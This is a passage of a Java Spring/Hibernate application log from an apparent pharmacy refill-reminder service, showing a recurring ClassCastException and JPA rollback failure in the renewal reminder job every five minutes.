org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 10:25:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 10:30:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 10:30:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 10:30:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 10:30:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 10:30:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 10:30:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 10:30:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 10:30:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 10:30:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 10:30:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 10:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 10:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 10:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 10:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 10:35:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 10:35:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 10:35:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 10:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 10:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 10:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 10:35:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 10:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 10:35:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 10:35:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 10:35:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 10:35:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 10:35:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 10:35:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 10:40:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 10:40:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 10:40:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 10:40:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 10:40:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 10:40:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 10:40:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 10:40:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 10:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 10:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 10:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 10:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 10:40:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 10:40:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 10:45:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 10:45:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 10:45:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at 